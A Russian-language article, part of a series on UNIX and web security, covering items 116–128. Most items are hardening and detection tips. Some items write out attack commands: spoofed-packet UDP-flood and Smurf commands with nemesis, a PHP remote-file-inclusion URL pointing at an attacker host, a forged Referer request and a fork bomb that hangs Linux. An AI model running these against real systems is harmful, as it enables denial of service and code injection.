Проблемы безопасности UNIX-подобных ОС и Web IV
 

116. UDP-наводнение. Наверное, еще люди помнят UDP-службы chargen - порт 19 и echo - порт 7. Утилита chargen в ответ на запрос в виде UDP-пакета выдает пакет с набором символов, а echo возвращает отправителю полученный пакет. Атака заключается в отправке пакета на 7 порт одного из компьютеров, например, echo.server.com, с подложным IP-адресом отправителя, указывающим 19 порт на другом сервере, например, chargen.server.com. Это позволит организовать замкнутый цикл обмена UDP-пакетами, отправляющимися с максимальной скоростью. Программа nemesis (http://www.packetfactory.net/Projects/Nemesis) позволяет создавать пакеты, в которых указан любой адрес отправителя.
Например, для отправки пакета на 19 порт компьютера 10.0.0.5 от имени хоста с адресом 10.0.0.10, где в качестве порта отправителя будет указан 7 порт, достаточно ввести следующую команду.

bad_guy# nemesis-udp -x echo -y CHARGEN -S 10.0.0.10 -D 10.0.0.5

Если этот пакет достигнет компьютера 10.0.0.5, то он поступить на порт 19 службы chargen, которая ответит пакетом на echo порт компьютера 10.0.0.10, в результате чего в сети возниктен UDP-наводнение.

117. С помощью предыдущей программы можно осуществить Smurf-атаку.

bad_guy# nemesis-icmp -I 8 -S 192.168.0.3 -D 192.168.0.255

Таким образом, используются все хосты сети 192.168.0/24 для "наводнения" пакетами компьютера 192.168.0.3.
Чтобы предотвратить Smurf-атаки, необходимо блокировать широковещательные запросы. Например, воспользоваться командой.

root# echo 1 > /proc/sys/net/ipv4/icmp_ignore_broadcasts

Кроме того, можно полностью блокировать получение ping-запросов.

root# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

118. Поле Referer (неправильное написание этого слова - правильно Referrer - было дано в оригинальной спецификации протокола HTTP. Но это официальный вариант, так что использовать нужно его) содержит адрес web-страницы, с которой пользователь, щелкнув на ссылку, попал на данную страницу. Изменить его несложно.

user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cgi-bin/program.cgi?name=Mark&phone=1234567&data=bad+data
HTTP/1.1
Host: localhost
Referer: http://www.server.com/trusted.html

Так что доверять информации поля Referer не следует.

119. С помощью специальных фрагментов данных cookie Web-сервер ведет учет истории обращений (проводится аутентификация) данного пользователя к Web-сайту. Ниже представлен пример заголовка с добавленной в него информацией cookie.

user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cgi-bin/program.cgi?name=Mark&phone=1234567&data=bad+data HTTP/1.1
HOST: localhost
Set-Cookie: sessionid=EID8d78dDiqeD; expires=Tue, 30-Jan-2001 04:42:47 GMT

120. Для функций PHP-файлов, например, include(), допускается использование в виде аргументов ссылок URL. Если функция include() передает URL, то она обратится в Internet для получения значения этого аргумента. Например, рассмотрим строку файла insecure.php

include("$includedir/file.php");

Кто угодно может легко установить нужное ему значение переменной $includedir. http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php При выполнении сценария insecure.php выполняется обращение по адресу http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php и запускается указанный файл. Так можно передать любой исходный код PHP на www.example.com. Для рассмотренного примера не стоит использовать переменную $includedir. Вместо этого задайте полное имя файла.

include("/usr/local/apache/php_includes/file.php");

Как уже было сказано, используйте переменные $_GET, $_POST и $_REQUEST для PHP, начиная с версии 4.0 (или $HTTP_GET_VARS и $HTTP_POST_VARS).

121. Обычно по умолчанию выполнение MySQL "ложится на плечи" пользователя root, что может иметь катастрофические последствия. Лучше создать пользователя mysql или аналогичного и производить запуск MysQL под safe_mode от имени этого пользователя, естественно, обеспечив ему доступ к каталогам базы данных MySQL и выполнение кода MySQL.
Завершаем работу сервера.

root# mysqladmin -p -u root shutdown

Далее предоставляем доступ к каталогам баз данных только пользователю mysql.

root# chown -R mysql /home/mysql/data
root# chmod -R go-rwx /home/mysql/data

Далее необходимо проверить, не находится ли сокет unix в том же каталоге данных. Это обеспечивается параметром -with-unix-socket-path. Учтите, что это задается при компиляции.
Перезапускаем сервер MySQL с помощью safe_mysql, выполняемого от имени пользователя mysql.

mysql$ safe_mysql -user=mysql &

В конфигурационном файле /etc/my.cnf в разделе [mysqld] можно написать строчку user=mysql, освободив себя от указания имени пользователя в параметре запуска. Удостоверьтесь, что права выставлены правильно (644), также можно выставить атрибут i (запрещение модификации и ссылок на файл).
Целесообразно удалить малозначимые компоненты, включенные в установку по умолчанию. Удалить базу данных test, выключить удаленный доступ, отключить доступ без имени пользователя, задать пароль для пользователея базы данных root. Сделаем это. Подключаемся к базе данных.

root# mysql -u root -p

Если у пользователя базы данных root нет пароля, параметр -p надо опустить. Итак, удаляем базу данных test.

mysql> DROP DATABASE test;

MySQL хранит информациию о правах доступа и других базах данных в базе данных MySQL. Это надо немного поправить. Подключимся к базе данных и удалим из таблицы прав доступа записи, относящиеся к базе данных test.

mysql> USE mysql;
mysql> DELETE FROM db WHERE Db LIKE 'test%';

Теперь отменим удаленный доступ к MySQL.

mysql> DELETE FROM user WHERE host='=%';

Еще удалим записи пользователей без имени.

mysql> DELETE FROM user WHERE User='';

Установим пароль для пользователя root.

mysql> UPDATE user SET Password = PASSWORD("fdg56yh5") WHERE User = 'root';

В конце концов перезагрузим MySQL таблицы с правами доступа, чтобы они вступили в силу

mysql> FLUSH PRIVILEGES;

122. Две "убийственные" строчки, вешающие linux.

#!/bin/sh
$0 & $0 &

Делаем файл исполняемым (chmod 755 somefile) и запускаем из-под стандартного пользователя. Иксы висят. Проблема еще и в том, что в большинстве "пользовательских" linux-машин для запуска данного файла достаточно на нем кликнуть мышкой.

123. Очень популярны, особенно среди начинающих взломщиков, методы взлома сайта через CGI-скрипты. Это можно отслеживать. Например, следующий скрипт имитирует phf баг. В случае попытки взлома отсылает по электронной почте письмо (в данном примере на адрес lafraia@urgentmail.com).

#!/usr/bin/perl
# Fake PHF v1.0 (970605) - by Daniel Lafraia (lafraia@urgentmail.com) #
# Description:
# Shows to a hacker that is trying to crack your system via phf, that
# this CGI was not found and send a message to admin reporting
# information about the attempt such as IP Address (using Proxy or
not), # Host Name, Query String and finally date and time of the attempt.
#
# Installing:
# Just copy this file to your cgi-bin directory (usually /www/cgi-bin) and
# chmod it to executable. If someone try to do something like:
# http://www.yoursite.com/cgi-bin/phf?hack+stuff=to+grab+things
# you're going to be reported, try! Be sure that the filename is phf :)))
#
# Questions? Comments? Suggestions? E-mail me! :)
#
# Releases:
# 970605 - First release
# Sendmail directory
$mailer='/usr/lib/sendmail';

# E-mail of person who's going to receive reports
$address="lafraia@urgentmail.com";

$date=`date`;
chop($date);
print "Content-type: text/html ";
print <
File Not found
The requested URL /cgi-bin/phf was not found on this server.

EOM
open (out, "|$mailer $address") or die "Can't write a message";
print out "To: $address ";
print out "From: $address ";
print out "Subject: phf report ";
print out "-------------------------------------------------------- ";
print out " Remote Host: $ENV{'REMOTE_HOST'}$ENV{'HTTP_X_FORWARDED_FOR'} ";
print out " Remote IP: $ENV{'REMOTE_ADDR'} ";
print out " Query String: $ENV{'QUERY_STRING'} ";
print out " Date: $date ";
print out "-------------------------------------------------------- ";
print out "Best Regards, PHF Watchdog P.S. - Contact the admin of his/her provider!";
close (out);
exit;

124. У стандартной утилиты login присутствует возможность увеличивать время задержки при неправильном вводе аутентификационных данных. Эта функция полезна тем, что замедляет bruteforce-атаку. Если говорить о mod_auth Apache - там этого нет. В качестве "компенсации" можно следить за лог-файлами. Ниже приведен скрипт, в реальном времени осуществляющий контроль атаки типа wwwhack. Единственное ограничение - он скорее всего не спасет, если подбор идет с нескольких компьютеров или через постоянно меняющиеся прокси.

#!/usr/bin/perl -w

# httprot.pl, "request for comments" version
# run as: tail -f /usr/local/apache/logs/access_log | ./ httprot.pl

# Configuration starts here

# for "combined" apache log format, unauthorized request
my $AUTH_REQ='^([^ ]+) ([^ ]+) ([^ ]+) [([^]]+)] "([^"]+)" 401';
# host ident user date request authrequired

my $threshold=5; # allow $threshold unauthorized requests
my $interval=5; # within $interval seconds without alerting

my $syslog_facility='auth'; # when alerting, use these
my $syslog_priority='alert'; # facility and priority

# Configuration finishes here

use strict;
use Date::Parse;
use Date::Format;
use Sys::Syslog;

my %hit=();
my %sum=();
my ($host,$date,$time,$request);

openlog("httprot","pid",$syslog_facility);

$SIG{INFO}=&print_hit;
$SIG{ALRM}=&cleanup;
alarm $interval;

# main loop

while(<>) {
chomp;
next unless /$AUTH_REQ/;

$host=$1;
$date=$4;
$time=str2time($date);
$request=$5;

# $hit{$time}{$host} is number of bad requests from $host
# within second numbered $time ("unixtime")
if(defined($hit{$time})) { $hit{$time}{$host}++; }
else { $hit{$time}{$host}=1; }

# $sum{$time}{$host} is number of bad requests from $host
# within last $interval sec (roughly)
if(defined($sum{$host})) { $sum{$host}++; }
else { $sum{$host}=1; }

&block if($sum{$host}>=$threshold);
}

# for testing purposes: hit Ctrl-t to see current stats
sub print_hit {
my $rest=alarm(0); # avoid race condition with SIGALRM
# and try to reduce time leak...
print "Current state: ";
my ($time,$host);
my %list;
foreach $time (keys(%hit)) {
print time2str('%x %T',$time),": ";
%list=%{$hit{$time}};
foreach $host (keys(%list)) {
printf " $host: $hit{$time}->{$host} ";
}
}
print "Summary: ";
foreach $host (keys(%sum)) {
print "$host: $sum{$host} ";
}
alarm($rest); # ...but will leak up to 1 second per SIGINFO
}

# free memory - throw away expired stats every $interval seconds
sub cleanup {
my ($h,$s);
my %hosts;
my $limit=time()-$interval;
foreach $s (keys(%hit)) {
if($s<$limit) { # entries older whan $limit have expired
%hosts=%{$hit{$s}};
foreach $h (keys(%hosts)) { # correct sum when expiring stats
$sum{$h}-=$hit{$s}->{$h};
delete $sum{$h} unless $sum{$h}>0; # free memory
}
delete $hit{$s}; # again, free memory
}
}
alarm $interval; # restart timer
}

# site dependent action; this example is harmless
sub block {
syslog($syslog_priority,
"$sum{$host} unauthorized requests from $host, last: $request");
}

125. Чтобы не быть захваченными врасплох, позаботьтесь о создании образцовых копий важных исполняемых файлов и библиотек Вашей операционной системы и запишите их на компакт диск. В случае компрометации компьютера можно с некоторой долей вероятности предполагать, что ранее записанные используемые программы выдают достоверную информацию. Может быть кому-то легче использовать LiveCD, только не всегда допустимо только из-за предположения выключать компьютер. Например, сравним хэш файла fstab на двух компьютерах. Для этого на заведемо нескомпрометированном (IP 192.168.0.5) компьютере откроем какой-нибудь порт (8888) Лучше, если он не требует прав root). А на скомпроментированном выполним команду

root# /mnt/cdrom/md5sum /etc/fstab | /mnt/cdrom/nc 192.168.0.5 PORT -w 3

Также можно сверить хэш файла с базой данных на сайтах www.hashkeeper.org (для публичного доступа не доступен), www.nsrl.nist.gov, www.fish.com/fuck, www.knowngoods.org

126. При взломе машины (конечно абсурд, но все может быть) злоумышленник может запустить программу в background'е с целью прослушивания аутентификационных данных пользователей сети. Это выявляется простой командой ifconfig.

# ifconfig -a
lo0: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232
inet 127.0.0.1 netmask ff000000
hme0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,MULTICAST> mtu 1500
inet 192.0.2.99 netmask ffffff00 broadcast 192.0.2.255
ether 8:0:20:9c:a2:98
Присутствующий во втором случае флага PROMISC свидетельствует о том, что интерфейс находится в режиме прослушивания. Для выявления снифферов можно воспользоваться программой AntiSniff (http://www.l0pht.com/antisniff/), Sentinel (http://www.packetfactory.net/Projects/sentinel/).

127. Практически во всех версиях UNIX введен "безопасный терминал". То есть можно разрешить входить в систему как root с определенных "безопасных терминалов". Например, в SunOS, таблица терминалов хранится в файле /etc/ttytab

console "/usr/etc/getty std.9600" sun off secure
ttya "/usr/etc/getty std.9600" unknown off secure
ttyb "/usr/etc/getty std.9600" unknown off secure
ttyp0 none network off secure

Слово secure в конце каждой строки, говорит о том, что данный терминал можно считать безопасным. Теперь, чтобы войти как root скорее всего придется сначала получить доступ к пользовательскому аккаунту. А дальше с помощью команды su "пробовать" залогиниться root - по умолчанию в linux это могут делать все. Чтобы запретить этот бесрпедел и разрешить использовать команду su только пользователям группы wheel необходимо в файл /etc/pam.d/su добавить строку:

auth required /lib/security/pam_wheel.so use_uid

Если вы хотите, чтобы пользователи группы wheel авторизовывались без ввода пароля, добавьте строку

auth sufficient /lib/security/pam_wheel.so trust use_uid

Только учтите, что для разных систем пути могу быть разными. В данном примере - это Red Hat7.

128. Можно создать файл с именем, начинающимся с символа -. В этом случае будет затруднена манипуляция с ними из консоли. Например, создадим файл, потом попытаемся прочитать его содержимое и удалить.

user$ echo blah-blah >> -rty
user$ cat -rty
cat: ivalid option -- r
Попробуйте 'cat --help' для получения более подробного описания.
user$ rm -rty
rm: ivalid option -- r
Попробуйте 'rm --help' для получения более подробного описания.

 
Автор: Алексеев В. С.
 
Оригинал статьи: http://woweb.ru/publ/52-1-0-496